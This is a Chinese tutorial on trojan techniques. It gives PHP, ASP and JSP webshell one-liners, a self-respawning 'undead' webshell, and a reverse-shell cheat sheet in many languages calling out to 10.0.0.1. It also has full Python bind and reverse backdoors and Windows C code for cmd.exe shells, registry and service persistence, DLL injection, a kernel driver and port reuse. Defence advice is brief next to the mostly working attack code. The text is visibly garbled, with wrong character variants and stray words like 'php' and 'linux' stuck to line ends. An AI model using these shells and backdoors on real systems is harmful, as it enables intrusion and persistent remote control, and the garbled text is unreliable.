木马技术

本文参考老书《木马技术揭秘与防护》javascript

 

#0x00 国内木马历史php

    97年时,网络还没有在国内普及,木马是当时少数人手里的高科技,那时的木马主要来自国外的BO和SubSeven,直到国产木马冰河出现前端

才标志国内用户迎来网络木马混沌时代。00年用户对电脑防御意识毫无概念,防火墙又仍在探索和发展,使得冰河木马极其容易渗透进毫java

无防备的电脑,许多人也就靠冰河入了门。这个时代的木马缺少自我保护,很容易在启动项中发现查杀。python

 

    随着防火墙的诞生,NAT和端口过滤让冰河木马一晚上间忽然失效。这是由于就算电脑中了冰河,也由于局域网技术和NAT转换使得外网主机无linux

法用经过IP找到肉鸡。网吧就是一个明显的例子。其次防火墙端口过滤会让木马开启的很是见服务的端口被阻挡。git

 

    通过一段时间的沉寂后,一种新型木马概念被提出: 反弹木马,肉鸡和控制机角色互换,变成控制机主动开端口,肉鸡反向链接控制端,这样github

一方面不须要知道肉鸡IP地址,另外一方面不须要主动开启端口,成功的将NAT技术和端口过滤技术绕过,采用此概念的木马: 网络神偷, 该木马用于web

盗取电脑文件。shell

 

   反弹木马虽然好,可是须要控制机的公网IP固定,通常服务器地址都写死在木立刻了,可是黑客的控制机为了不被跟踪都不会使用固定的公网IP

针对这个问题,可用动态域名技术解决,木马反弹的地址是固定的域名,而这个域名映射的IP倒是能够变化的,也就是DDNS。典例:灰鸽子

 

   一时间,反弹木马的出现把防火墙打的惨不忍睹,一波未平一波又起,03年出现了头疼系列: 广外女生,广外男生,广外幽灵,这三个木马都使用

了当时颇感新鲜的技术:远程线程注射。作到了真正意义上的无进程,具体原理下面会说,大致上就是往系统进程里注射木马句柄运行。隐蔽性大幅

提高。查杀须要用户掌握必定的电脑知识。

 

   再说说木马界占了一半江山且历史悠久的网页木马,早期网页木马主要针对浏览器漏洞实现自动下载和自动运行木马实现感染手段,原理主要是经过

构造畸形语句让浏览器缓冲器溢出,用户在浏览网页的时候不知不觉就已经中了木马,让人防不胜防。当从此端语言的崛起使得webshell的概念也萌生

主要是后端语言便可以执行系统命令,又能够接收用户参数,一句话木马也就火了起来。

 

   当今,随着各类安全卫士和杀毒软件的发展,老一代的木马基本被淘汰。随着魔高一尺道高一丈的PK,交战平台转移到系统内核层,这一层拥有至高

无上的权限,一旦木马进入这一层,全部的杀毒软件通通都将成为木马的傀儡。现在人们的安全意识也由于病毒带来的损失而提升起来,但安全的步伐

将永远走下去,近两年甚至出现 `硬件漏洞`,带来的影响直接致使性能降低。因此没有绝对安全的系统。

 

# 0x01 webshell木马

1. webshell这类木马,基于Http,不需写底层通讯socket,只关注用户传入参数和执行系统命令便可,下面是不一样语言的一句话木马

php一句话木马

#原理: 把用户传递过来的post请求内容用eval转成代码执行
<?php @eval($_POST['x'])?>

 

asp一句话木马

<!-- 原理与php差很少 -->
<%execute request("value")%>
<%eval request("value")%>

 

aspx一句话木马

<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"])%>

 

jsp一句话木马

//没学过java,jsp可能缺少eval函数,需先把代码写到jsp文件,再访问该文件执行code // jsp代码写入器后端 <% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %> // jsp代码写入器前端 <form name=get method=post> Server Addrress: <input name=url size=110 type=text><br><br> <textarea name=t rows=20 cols=120>java code</textarea><br> Save Filename: <input name=f size=30 value=shell.jsp> <input type=button onclick="javascript:get.action=document.get.url.value;get.submit()" value=submit> </form>

 

2. 一句话木马虽然短小精悍,可是网络安全狗都能很轻易嗅探到这些包含特征代码的木马文件,所以一句话木马也出现了奇奇怪怪的变形。下面只举例一些比较有意思的

简洁的变形马

<?php @$_=$_GET[1].@$_($_GET[2])?>

利用方式: http://xxx.com/a.php?1=assert&2=phpinfo();

原理: $_是一个变量,该变量保存 $_GET[1]参数的值,点是php字符串链接符,后一段拼接后就变成 @$_GET[1]($_GET[2]);

这样若是$_GET[1]是assert的话,$_GET[2]就能够放php代码,也就变成 @assert("phpinfo()");

 

不死马

<?php
    set_time_limit(0);
    ignore_user_abort(true);

    $file = 'demo.php';
    $shell = '<?php eval($_GET[1]);?>';

    while(1){
        file_put_contents($file, $shell);
        system("chmod 777 demo.php");
        usleep(50);
    }
?>

一旦访问执行上面的代码,就会产生demo.php不死木马,就算这个代码被关闭,也会一直产生删不掉的木马,惟一解决办法就算重启,很恶心

ignore_user_abort 使得页面就算被关闭,脚本依然执行,set_time_limit设置脚本运行时间,若是设置成0,脚本将永久执行,够恶心吧

 

畸形木马还有不少,你们能够去网上搜,这里就不继续列举了。

 

3. 当咱们拿到webshell通常执行的权限都是web用户权限,因此下一步就是借助webshell进行提权,提权离不开反弹shell,由于webshell属于那种一次性shell

就是执行一条命令就断开链接,并不是持续的shell,这不利于提权,为了创建持久shell,咱们可以使用执行命令来反弹shell,下面是各类语言的反弹shell的代码

bash

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

 


perl

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

 


python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


php

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'


ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'


nc

nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f


java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()


lua

lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"


php

$sock = fsockopen($ip, $port);
$descriptorspec = array(
        0 => $sock,
        1 => $sock,
        2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);

 

补充: 若是拿到的shell没有命令提示符,能够用 python 开启命令提示符

 

python -c 'import pty;pty.spawn("/bin/bash")'

 

 

#0x02 可执行木马

webshell木马不须要关心底层通讯协议,由于webshell基于HTTP协议,但可执行程序或者脚本木马须要本身编写底层的TCP UDP接口。

通常咱们要打开一个监听端口接收网络数据都须要执行这几步: 建立Socket  -> bind端口和地址 -> listen监听 -> accept收到数据处理。

因python简洁性,因此下面是用python编写服务器和客户端例子

python客户端

#!/usr/bin/python
#coding:utf-8

import socket 
import sys
socket.setdefaulttimeout(5)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

host = "www.baidu.com"
port = 80
remote_ip = socket.gethostbyname( host )

message = "GET / HTTP/1.1\r\n\r\n"

s.connect((remote_ip, port))
s.sendall(message)

reply = s.recv(4096)

print reply

python服务器

 

#!/usr/bin/python
#coding:utf-8

import socket 
import sys

HOST = ''
PORT = 444

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(10)

while 1:
    conn, addr = s.accept()
    print "[+] connecting" , addr[0] + ":" , addr[1]
    conn.send("Welcome to the server. Type something like:"
            "COOKIE,GET,POST and hit <ENTRE>\n")
    while 1:
        data = conn.recv(1024)
        print data
        if data == "GET\n":
            data = "OK, wait a moment\n"
        if data == "POST\n":
            data = "I am not a http server\n"
        if data == "COOKIE\n":
            data = "a cookie Biscuits??\n"
        if data:
            conn.sendall(data)
        else:
            break
    
    conn.close()
s.close()

 

其实客户端不用编写,用nc链接也是能够的,上面只是简单实现了如何将客户端的数据发送给服务端,试想一下,若是咱们发送的数据

被当作系统命令执行,那么木马岂不是就造成了,而且咱们还要实现长久监听服务,长链接,否则用一次就不监听可还行?

python 正向木马

#!/usr/bin/python
#coding:utf-8

import socket 
import sys
import commands
from thread import *

HOST = ''
PORT = 854

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(10)

def clientthread(conn):
    conn.send("Welcome demon's backdoor!".center(50,"*") + "\n")
    while 1:
        conn.send("Demon_Backdoor# ")
        data = conn.recv(1024)
        if data:
            cmd = data.strip("\n")
            code,res = commands.getstatusoutput(cmd)

            if code == 0 :
                conn.sendall(res+"\n")
            else:
                print "[-]Error: code",code
            data = ""

        else:
            break

    conn.close()
        

while 1:
    conn, addr = s.accept()
    print "[+] connecting" , addr[0] + ":" , addr[1]
    start_new_thread(clientthread, (conn,))

s.close()

 

python 反弹木马

#!/usr/bin/python
#coding:utf-8

import socket 
import sys
import commands
from time import sleep
from thread import *

HOST = "192.168.10.24"
PORT = 444


def clientthread(s):
    global isConnect
    s.send("Welcome demon's backdoor!".center(50,"*") + "\n")

    while 1:
        s.send("Demon_Backdoor# ")
        data = s.recv(1024)
        if data :
            cmd = data.strip("\n")
            code,res = commands.getstatusoutput(cmd)

            if code == 0 :
                s.sendall(res+"\n")
            else:
                print "[-]Error: code",code
            data = ""
        else:
            break


while 1:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((HOST, PORT))
        print "[+] connecting" , HOST + ":", PORT
        clientthread(s)
        #start_new_thread(clientthread, (s,))
        s.close()
    except:
        sleep(0.5)

 

Mini木马程序剖析:

原理:

经典的木马原理是在肉鸡上开启端口监听服务,若是有客户端链接进来,就会打开cmd.exe开启一个shell,并和客户端创建双向管道,即客户端能远程操控cmd.exe

代码:

GetEnvironmentVariable("COMSPEC", szCMDPath, sizeof(szCMDPath));
WSAStartup(0x0202, &WSADa);
Ssock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
SockAddr.sin_family = AF_INET;
SockAddr.sin_addr.s_addr = INADDR_ANY
SockAddr.sin_port = htons(999);
bind(Ssock, (sockaddr*)&SockAddr, sizeof(sockaddr));
listen(Ssock, 1);
iAddrSize = sizeof(SockAddr);
Csock = accept(Ssock, (sockaddr*)&SockAddr, &iAddrSize);
StartupInfo.hStdInput = StartupInfo.hStdOutput = StartupInfo.hStdError = (HANDLE)Csock;
CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);

这个代码段是Mini木马中的核心一段,完整代码在这里

分析:

首先获取cmd.exe程序的路径,保存到szCMDPath变量中。

建立windows socket, 版本号选择2.2, 0x0202等价于 MAKEWORD(2,2),起名为Ssock

配置服务端Socket,设置协议栈,监听地址,监听端口,配置保存在变量SockAddr中

Ssock 套接字和 SockAddr配置进行绑定,而后经过listen函数开启监听,这样服务端就启动服务了

accpet函数能够接收客户端的链接,若是没有链接会一直阻塞监听,有链接会返回客户端的接口Csock,里面有客户端链接的IP和端口号

StartupInfo是关于窗体程序的相关配置,这里将窗体的输入输出设置成客户端接口句柄,这样客户端就能够写入和读取窗体的数据了。

最后建立一个进程运行cmd.exe,而且将上面的Startupinfo的配置应用于该进程当中,而后客户端就能够发送cmd命令进行控制。

防范:

对于这类会在肉鸡上主动开启端口监听的通常都会被防火墙拦截,只要开启防火墙就行。

 

注册表修改技术:

原理:

Windows的注册表能实现不少功能,对于木马来讲,修改注册表可实现: 开机自启木马,关闭杀软,开启3389,破坏系统等等操做

而win32 API提供了一套对注册表的读写操做。下面简单介绍一下该API

代码:

HKEY hKey;
TCHAR keyValue[128];
char subkey[] = "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0";
char keynameR[] = "ProcessorNameString";
char keynameW[] = "HackerName";
char keynameD[] = "WillBeDeleted";

DWORD dwDisposition = REG_OPENED_EXISTING_KEY;

//读注册表
RegOpenKeyEx(HKEY_LOCAL_MACHINE, subkey, 0, KEY_QUERY_VALUE, &hKey);
RegQueryValueEx(hKey, keynameR, NULL, NULL, (LPBYTE)keyValue, &dwSize);
RegCloseKey(hKey);    
printf("%s\n", keyValue);

//写注册表
RegCreateKeyEx(HKEY_LOCAL_MACHINE, subkey, 0, NULL,REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, &dwDisposition);
RegSetValueEx(hKey, keyNameW, 0, REG_SZ, (BYTE*)"demon", dwSize);
RegCloseKey(hKey);

//删注册表
RegOpenKeyEx(hRootKey, subKey, 0, KEY_ALL_ACCESS, &hKey);
RegDeleteValue(hKey, keyNameD);
RegCloseKey(hKey);

分析:

这段代码演示了注册表的读写和删除,还有不少API这里没有列举到,你们能够参考MSDN

要对注册表读写操做前,都须要先打开注册表,打开注册表能够经过 RegOpenKeyEx 和 RegCreateKeyEx 这两个函数,须要指明根键和子健,根键包含下面5个

HKEY_CLASSES_ROOT

HKEY_CURRENT_USER

HKEY_LOCAL_MACHINE

HKEY_USERS

HKEY_CURRENT_CONFIG

若是键值不存在,RegCreateKeyEx函数则会建立该键值。打开注册表句柄时还须要指明权限,这里给 KEY_ALL_ACCESS 表示句柄拥有全部权限。其余权限其参考 MSDN

防范:

有了注册表的读写操做,那么 木马程序通常会利用注册表实现开机自启动,下面是注册表里常见的加载点

注册表加载点:
[HEKY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]中
userinit 键用逗号分割添加程序路径,便可随系统启动而启动 * [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Winlogon\CurrentVersion\Run] [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Winlogon\CurrentVersion\Policies\Explorer\Run]  #Run 本身创
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Winlogon\CurrentVersion\Run]
添加 REG_SZ 类型的键值 便可,名称随便,值为程序路径 * 更深的加载点:
[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\load] [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services] [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] 

shell字符串类型键值中,默认为 Explorer.exe 以木马参数形式调用资源管理器
[HKEY_LOCAL_MACHINE\System\ControlSet001\Session Manager]
BootExecute 多字符串键值,默认为: "autocheck autochk *" 用于系统启动自检,在图形界面前运行优先级高

针对上面的加载点,咱们能够去检查这些位置,若是发现异常的程序,对其删除查杀便可。

 

服务注册技术:

原理:

服务是执行指定的系统功能,进程等,以便支持其余程序。服务是一种特殊的应用程序,可被SCM(服务管理控制器)进行操控。

若是服务设置成自动,那么随着系统的启动也会被启动,启动后会一直在后台运行,相似linux的守护进程,所以木马程序也能够

将本身注册成服务,悄悄的在系统当中被看成服务一直运行。

代码:

[SCM code]

char serviceName[] = "YourServiceName"; 

SC_HANDLE schSCManager;    
SC_HANDLE schService;
SERVICE_STATUS status; 
        

schSCManager = schSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);            
schService = OpenService(schSCManager, serviceName, SERVICE_ALL_ACCESS); 

//改变服务自启方式
ChangeServiceConfig(
            schService,            //handle
            SERVICE_NO_CHANGE,     //service type
            SERVICE_AUTO_START,    //service start type
            SERVICE_NO_CHANGE,     //error control
            NULL,              //binary path
            NULL,              //load order group
            NULL,            //tag ID
            NULL,                //dependencies
            NULL,            //account name
            NULL,                //password
            NULL,              //display name
);


//改变服务的描述信息
SERVICE_DESCRIPTION sd;
LPCTSTR szDesc = TEXT("This is new description");
sd.lpDescription = szDesc;
ChangeServiceConfig2(schService, SERVICE_CONFIG_DESCRIPTION, &sd);


//控制服务运行状态
StartServiceA(schService, NULL, NULL);
ControlService(schService, SERVICE_CONTROL_STOP, &status);
ControlService(schService, SERVICE_CONTROL_PAUSE, &status);
ControlService(schService, SERVICE_CONTROL_CONTINUE, &status);

//查询服务配置信息
DWORD dwBytesNeeded, cbBufSize,;

LPQUERY_SERVICE_CONFIG lpsc;
QueryServiceConfig(schService, NULL, 0, &dwBytesNeeded);
cbBufSize = dwBytesNeeded;
lpsc = (LPQUERY_SERVICE_CONFIG)LocalAlloc(LMEM_FIXED, cbBufSize);
QueryServiceConfig(schService, lpsc, cbBufSize, &dwBytesNeeded);

LPSERVICE_DESCRIPTION lpsd;
QueryServiceConfig2(schService, SERVICE_CONFIG_DESCRIPTION, NULL, 0, &dwBytesNeeded);
cbBufSize = dwBytesNeeded;
lpsd = (LPSERVICE_DESCRIPTION)LocalAlloc(LMEM_FIXED, cbBufSize);
QueryServiceConfig2(schService, SERVICE_CONFIG_DESCRIPTION, (LPBYTE)lpsd, cbBufSize, &dwBytesNeeded);

printf(" Type: 0x%x\n",     lpsc->dwServiceType);
printf(" Start Type: 0x%x\n",     lpsc->dwStartType);
printf(" Binary Path: %s\n",     lpsc->lpBinaryPathName);
printf(" Account: %s\n",     lpsc->lpServiceStartName);
printf(" Description: %s\n",     lpsd->lpDescription);
printf(" Dependencies: %s\n",     lpsc->lpDependencies);

分析:

这段代码是经过SCM接口对指定的服务进行:修改配置,启动关闭,设置自启,显示信息等相关操做

经过 schSCManager 打开 SCM, 再利用 OpenService 打开Services, 并给予对服务全部操做权限: SERVICE_ALL_ACCESS;

ChangeServiceConfig 能够修改服务的配置信息,好比设置启动方式,服务类型,显示名称等

ChangeServiceConfig2 能够修改服务的描述信息

StartServiceA 能够打开服务,而中止,暂停,继续操做能够经过ControlService 函数操做

QueryServiceConfig 能够查询服务配置信息,可是查询前须要先利用该函数查询结构体长度 dwBytesNeeded 来分配给 lpsc 足够的空间

QueryServiceConfig2 能够查询服务的描述信息,和上面同样须要先查询分配空间的大小。

代码:

//注册服务
LPCTSTR lpszBinaryPathName;
char strDir[1024], chSysPath[1024];
SC_HANDLE schSCManager, schService;
SERVICE_STATUS status;

strcpy(lpszBinaryPathName, "/path/to/exefile")
schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);

schService = CreateService(schSCManager,"ServiceName","ServiceName", SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
    SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, lpszBinaryPathName, NULL, NULL, NULL, NULL, NULL);

if (schService) printf("Install service success!!\n");


//删除服务
schSCManager = OpenSCManager(NULL,NULL, SC_MANAGER_CREATE_SERVICE);
schService = OpenService(schSCManager, "ServiceName", SERVICE_ALL_ACCESS|DELETE);
QueryServiceStatus(schService, &status);

if( status.dwCurrentState != SERVICE_STOPPED )
    ControlService(schService, SERVICE_CONTROL_STOP, &status);
Sleep(500);
DeleteService(schService);

CloseServiceHandle(schSCManager);

分析:

经过上面的代码,木马程序能够将本身注册成系统服务,而且设置自动运行实现开机自启。

防范:

可经过枚举全部服务,而后查看服务对应的执行文件,也就是上面注册代码的 lpszBinaryPathName 变量值,对其进行查杀便可

 

 

进程注射技术:

原理:

什么是进程? 进程是一个线程拥有本身的代码空间和运行空间的正在运行的程序,里面包含多个线程。

什么是DLL? 动态连接库,没法独立运行,可被执行程序加载并调用

对于windows系统,进程之间的内存地址是相互隔离的,也就进程之间不可相互访问对方的地址。

可是windows系统为了能方便的让两个程序访问同一块内存,windows提供了虚拟内存来共享解决该问题。

进程注射技术就是利用DLL木马在某进程中开辟虚拟空间来运行,但须要提高到Debug模式才有权限注射进程。

代码:

// 提权代码
HANDLE hToken;
TOKEN_PRIVILEGES pTP;
LUID uID;

OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken);
LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&uID);

pTP.PrivilegeCount = 1;
pTP.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
pTP.Privileges[0].Luid = uID;

AdjustTokenPrivileges(hToken, FALSE, &pTP,sizeof(TOKEN_PRIVILEGES),NULL,NULL)


// 对指定的PID进程注射
DWORD pid = 1433;
char dll[] = "c:\\muma.dll";
hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
pszLibFileRemote = (char *)VirtualAllocEx(hRemoteProcess, NULL, lstrlen(dll)+1, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hRemoteProcess, pszLibFileRemote,(void*)dll, lstrlen(dll)+1, NULL);
pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32.dll")), "LoadLibraryA");
hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL);
CloseHandle(hRemoteProcess);
CloseHandle(hRemoteThread);

分析:

代码首先进行debug提权,利用 AdjustTokenPrivileges 函数,传入配置结构体 pTP ,该结构体指明了 SE_PRIVILEGE_ENABLED; 权限启用。

注射进程基本步骤: OpenProcess 打开进程句柄  -> VirtualAllocEx开辟虚拟空间 -> WriteProcessMemory 写dll路径到虚拟空间

-> GetProcAddress 搜索LoadLibraryA 函数地址 -> CreateRemoteThread 在进程上建立新的线程并执行 dll 代码。

 

代码:

void listAllProcessInfo(){
    PROCESSENTRY32 lPrs;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    ZeroMemory(&lPrs, sizeof(lPrs));
    lPrs.dwSize = sizeof(lPrs);
    Process32First(hSnap, &lPrs);

    printf("pid\t\tppid\t\tname\n");
    printf("-------------------------------------------\n");

    while(1){
        printf("%d\t\t%d\t\t%s\n", lPrs.th32ProcessID, lPrs.th32ParentProcessID, lPrs.szExeFile);
        if(!Process32Next(hSnap, &lPrs)) break;
    }    
}

上面这段代码能够枚举全部进程先关信息,包括pid, 和 tastlist 同样效果

 

 

内核Rootkit技术:

原理:

操做系统的存在使得计算机硬件对于应用程序变得不可见,若应用程序须要访问硬件资源则须要向内核发送请求。

因此程序运行的模式有两种,一个是用户态Ring3, 一个是内核态Ring0,正常下程序根本没有机会修改内核,可是若

程序运行在内核态既能够访问系统任何代码和数据了!而应用程序想进入内核态也有不少办法,经常使用的就是编写驱动程序

环境: 须要安装 WDK/DDK

代码:

#include <ntddk.h>

VOID Unload(IN PDRIVER_OBJECT DriverObject){}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING UnicodeString){
    UNICODE_STRING path;
    UNICODE_STRING name;
    UNICODE_STRING data;
    OBJECT_ATTRIBUTES oa;
    HANDLE myhandle = NULL;

    RtlInitUnicodeString(&path, L"\\Registry\\Machine\\HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0");

    RtlInitUnicodeString(&name, L"demon");
    RtlInitUnicodeString(&data, L"hello,demon");

    InitializeObjectAttributes(&oa, &path, OBJ_CASE_INSENSITIVE,NULL, NULL);
    ZwOpenKey(&myhandle, KEY_WRITE, &oa);
    ZwSetValueKey(myhandle, &name, 0, REG_SZ, data.Buffer, data.Length);

    ZwClose(myhandle);
    DriverObject->DriverUnload = Unload;
    return STATUS_SUCCESS;

}

分析:

上面是驱动程序,做用是在注册表上添加一些信息,能够看出Ring3 和 Ring0一样功能不一样一套API

而后经过编写MAKEFILE 和 SOURCES文件就能够编译生成 驱动模块.sys , 代码

有了驱动模块后,咱们还需将驱动程序注册服务,这样下次系统启动就会启动这个驱动。注册服务也是用SCM来注册

可是注册类型为 SERVICE_KERNEL_DRIVER,表示为系统驱动,代码以下:

scm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);

sh = CreateService(scm, "DriverName", "DriverName", SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, 
    SERVICE_ERROR_NORMAL, "path/to/yourDrv.sys", NULL, NULL, NULL, NULL, NULL);

CloseServiceHandle(scm);
CloseServiceHandle(sh);

 防范:

经过 PCHunter 工具能够列出全部的系统驱动模块,通常不是windows 或知名产商签名的驱动都要多是恶意驱动,手动卸载便可

 


管道通信技术:

原理:

若是是创建普通的C语言socket,则须要建立两个管道,一个用于读,一个用于写,这样便可实现通讯。

若是是用WSASocket建立的,则能够直接将窗体读写指向句柄便可。代码比较简单。

代码:

[socket]
WSAStartup(MAKEWORD(2,2), &wsa);
listenFD = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

server.sin_family = AF_INET;
server.sin_port = htons(999);
server.sin_addr.s_addr = ADDR_ANY;

bind(listenFD, (sockaddr *)&server, sizeof(server));
listen(listenFD, 2);
clientFD = accept(listenFD, (sockaddr*)&server, &iAddrSize);

CreatePipe(&hReadPipe1, &hWritePipe1, &sa, 0);
CreatePipe(&hReadPipe2, &hWritePipe2, &sa, 0);

si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;

CreateProcess(NULL, "cmd.exe", NULL, NULL, 1, 0, NULL, NULL, &si, &ProcessInformation);

while(1){
    PeekNamedPipe(hReadPipe1, Buff, 1024, &lBytesRead, 0, 0);
    if(lBytesRead){
        ReadFile(hReadPipe1, Buff, lBytesRead, &lBytesRead, 0);
        send(clientFD, Buff, lBytesRead, 0);
    }else{
        recv(clientFD, Buff, 1024, 0);
        WriteFile(hWritePipe2, Buff, lBytesRead, &lBytesRead, 0);
    }
}

分析:

这段代码使用C语言原生API建立一个socket, 并 CreatePipe建立两个管道,管道一端只能读,另外一端只能写

CreateProcess 建立一个cmd.exe的进程,这个进程的标准输出定向到管道1,输入从管道2获取。

while死循环用户监听管道1的数据,也就是cmd.exe发出的数据,一旦监听到就发送给客户端。

另外,客户端一旦接受到数据,就会写入到管道2,这样cmd.exe就能从管道2读取到数据,双向管道创建完成。

代码:

[WSASocket]
WSAStartup(MAKEWORD(2,2), &wsa);
listenFD = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

server.sin_family = AF_INET;
server.sin_port = htons(999);
server.sin_addr.s_addr = ADDR_ANY;

bind(listenFD, (sockaddr *)&server, sizeof(server));
listen(listenFD, 2);
clientFD = accept(listenFD, (sockaddr*)&server, &iAddrSize);


si.hStdInput = si.hStdOutput = si.hStdError = clientFD;
CreateProcess(NULL, "cmd.exe", NULL, NULL, 1, 0, NULL, NULL, &si, &ProcessInformation);

 

分析:

使用Win32 API的WSASocket建立的socket能够直接对其句柄读写操做,大大节省了代码,就不须要建立

两个管道来通讯了。

 

反弹木马技术:

原理:

黑客攻击机开启端口监听,肉鸡主动反向链接黑客的IP,这样作能够绕过防火墙的拦截,毕竟是肉鸡主动向外发送请求

代码:

sock = WSASocket(PF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

sin.sin_family = AF_INET;
sin.sin_port = htons(444);
sin.sin_addr.s_addr = inet_addr("192.168.10.1");

while( connect(sock, (struct sockaddr*)&sin, sizeof(sin)) )
    Sleep(30000);


si.hStdInput = si.hStdOutput = si.hStdError = (void*)sock;
CreateProcess(NULL, "cmd.exe", NULL, NULL, 1, 0, NULL, NULL, &si, &pi);

分析:

这段代码先创建一个客户端socket , 经过connect 能够主动链接,while语句和sleep语句让木马

每一个3秒尝试反弹一次shell,若是链接成功,建立一个cmd.exe进程并将输入输出定向到该socket

 

端口重用技术:

原理:

当服务器的一个服务监听了一个端口,那么这个端口就不能被其余程序再使用了,可是Socket有一项技术

可使得端口被重用,一旦端口被重用,防火墙放行的端口就成为了木马的监听端口。

代码:

WSAStartup(MAKEWORD(2,2), &wsa);
ssock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
setsockopt(ssock, SOL_SOCKET, SO_REUSEADDR, (char*)&val, sizeof(val));

sin.sin_family  = AF_INET;
sin.sin_port = htons(80);
sin.sin_addr.s_addr = inet_addr("192.168.10.1");             

sinSize = sizeof(sin);

bind(ssock, (sockaddr*)&sin, sinSize);
listen(ssock, 2);
csock = accept(ssock, (sockaddr*)&sin, &sinSize);

ZeroMemory(&si, sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (void*)csock;
CreateProcess(NULL, "cmd.exe", NULL, NULL, 1, 0, NULL, NULL, &si, &pi);

分析:

端口复用技术主要是经过 setsockopt函数 来设置端口复用, SO_REUSEADDR设置后就能够重用端口了。

另外上面代码须要注意的是监听地址不是 0.0.0.0 ,也就是说若是使用 192.168.10.1 地址访问看到的就是

木马,但若是是用 127.0.0.1 去访问看到的就是web网站。

防范:

netstat -ano 能够看到有两条不一样的监听地址相同的监听端口在等待监听。

相关文章
相关标签/搜索